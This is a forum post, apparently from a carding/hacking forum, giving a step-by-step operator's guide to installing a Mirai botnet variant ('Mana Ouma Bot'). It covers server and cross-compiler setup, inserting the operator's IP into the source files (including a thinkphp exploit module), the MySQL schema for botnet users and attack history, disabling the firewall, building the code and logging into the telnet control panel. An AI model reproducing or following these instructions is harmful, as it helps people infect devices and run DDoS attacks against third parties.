Installing The Mirai BotNet

Carder

Professional
Messages
2,619
Reputation
9
Reaction score
1,730
Points
113
Hi!

This botnet is written in C & GO.

If necessary

1. Server on CentOS 6.* (not above 6, there may be errors)

2. PuTTy + mobaXterm

Point:​

Update and install

Code:
sudo su

yum update -y

yum install epel-release -y

yum groupinstall "Development Tools" -y

yum install gmp-devel -y

ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10

yum install screen wget bzip2 gcc nano gcc-c++ electric-fence sudo git libc6-dev httpd xinetd tftpd tftp-server mysql mysql-server gcc glibc-static -y

mkdir /etc/xcompile

cd /etc/xcompile

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2

wget https://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2

tar -jxf cross-compiler-i586.tar.bz2

tar -jxf cross-compiler-m68k.tar.bz2

tar -jxf cross-compiler-mips.tar.bz2

tar -jxf cross-compiler-mipsel.tar.bz2

tar -jxf cross-compiler-powerpc.tar.bz2

tar -jxf cross-compiler-sh4.tar.bz2

tar -jxf cross-compiler-sparc.tar.bz2

tar -jxf cross-compiler-armv4l.tar.bz2

tar -jxf cross-compiler-armv5l.tar.bz2

tar -jxf cross-compiler-armv6l.tar.bz2

tar -jxf cross-compiler-armv7l.tar.bz2

rm -rf *.tar.bz2

mv cross-compiler-i586 i586

mv cross-compiler-m68k m68k

mv cross-compiler-mips mips

mv cross-compiler-mipsel mipsel

mv cross-compiler-powerpc powerpc

mv cross-compiler-sh4 sh4

mv cross-compiler-sparc sparc

mv cross-compiler-armv4l armv4l

mv cross-compiler-armv5l armv5l

mv cross-compiler-armv6l armv6l

mv cross-compiler-armv7l armv7l

cd /tmp

wget https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz

tar -xvf go1.13.5.linux-amd64.tar.gz

mv go /usr/local

export GOROOT=/usr/local/go

export GOPATH=$HOME/Projects/Proj1

export PATH=$GOPATH/bin:$GOROOT/bin:$PATH

go version

go env

cd ~/

go get github.com/go-sql-driver/mysql

go get github.com/mattn/go-shellwords

This was dealt with. Next, we'll change the botnet settings for you.

What should I replace?

Replace the IP addresses with your own ones.

In the file /dlr / main. c (line 6, also replace the dots in the IP with a comma)

In the file /stuff/thinkphp. c (line 277)

In the file /stuff/stuff/includes. h (line 25, 26 (20 don't touch))

In the file /telnet/src/headers/config. h (line 3, 6)

In the ui/m.go file (line 10, replace IP, 11 login from MySQL, 12 password, from MySQL, 13 DB name (we will configure MySQL later)

Tax number... this is understandable! Let's set up MySQL.

Configuring MySQL

Code:
service mysqld start

mysql_secure_installation

1. Press Enter, and set the root password (the same as we specified in ui /m. go).

2. Then we answer y everywhere.

Once you have done this, you can configure the database.

Creating a database

Code:
mysql -u root -p

And enter the password that we set.

Code:
use mysql

GRANT ALL ON *.* to root@'%' IDENTIFIED BY 'PASS';

FLUSH PRIVILEGES;

CREATE DATABASE Mana;

use Mana;

CREATE TABLE `history` (

`id` int(10) unsigned NOT NULL AUTO_INCREMENT,

`user_id` int(10) unsigned NOT NULL,

`time_sent` int(10) unsigned NOT NULL,

`duration` int(10) unsigned NOT NULL,

`command` text NOT NULL,

`max_bots` int(11) DEFAULT '-1',

PRIMARY KEY (`id`),

KEY `user_id` (`user_id`)

);

CREATE TABLE `users` (

`id` int(10) unsigned NOT NULL AUTO_INCREMENT,

`username` varchar(32) NOT NULL,

`password` varchar(32) NOT NULL,

`duration_limit` int(10) unsigned DEFAULT NULL,

`cooldown` int(10) unsigned NOT NULL,

`wrc` int(10) unsigned DEFAULT NULL,

`last_paid` int(10) unsigned NOT NULL,

`max_bots` int(11) DEFAULT '-1',

`admin` int(10) unsigned DEFAULT '0',

`intvl` int(10) unsigned DEFAULT '30',

`api_key` text,

PRIMARY KEY (`id`),

KEY `username` (`username`)

);

CREATE TABLE `whitelist` (

`id` int(10) unsigned NOT NULL AUTO_INCREMENT,

`prefix` varchar(16) DEFAULT NULL,

`netmask` tinyint(3) unsigned DEFAULT NULL,

PRIMARY KEY (`id`),

KEY `prefix` (`prefix`)

);

REPLACE INTO users VALUES (NULL, 'LOGIN', 'PASS', 0, 0, 0, 0, -1, 1, 30, '');

CREATE TABLE `logins` (

`id` int(11) NOT NULL,

`username` varchar(32) NOT NULL,

`action` varchar(32) NOT NULL,

`ip` varchar(15) NOT NULL,

`timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP

) ENGINE=InnoDB DEFAULT CHARSET=latin1;

exit;

Just copy it and paste it into the terminal.

Replace PASS in line 2 by inserting the root password.

In the REPLACE INTO users line, replace LOGIN and PASS with the username and password for accessing the control panel.

The database was sorted out.

It remains to transfer the files to the /root directory.

And enter a few more commands.

Teams

Disable services that might interfere with us.

Code:
service iptables stop

restart the services.

service httpd restart

service mysqld restart

It's done!

If you have transferred files, you can launch our botnet!

to do this, enter the following commands:

Code:
cd ~/

chmod 0777 * -R

sh build.sh

After that, edit the file /usr/include/bits/typesizes. h

We write:

Code:
nano /usr/include/bits/typesizes.h

We go down to the very bottom, and replace 1024 with 999999.

To launch a botnet, write:

Code:
screen ./ui

After that, the following message should appear in the terminal::

[ Mana Ouma Bot Mirai Variant ]

If this message appears, congratulations, you did everything right!

Press CTRL + A + D to collapse.

That's all! You have installed this botnet!​

How does it connect?

1. Open PyTTy.

2. Enter your IP address and port 1791.

3. Set the connection type: Telnet.

Connecting.

Enter your username and password.
 
Top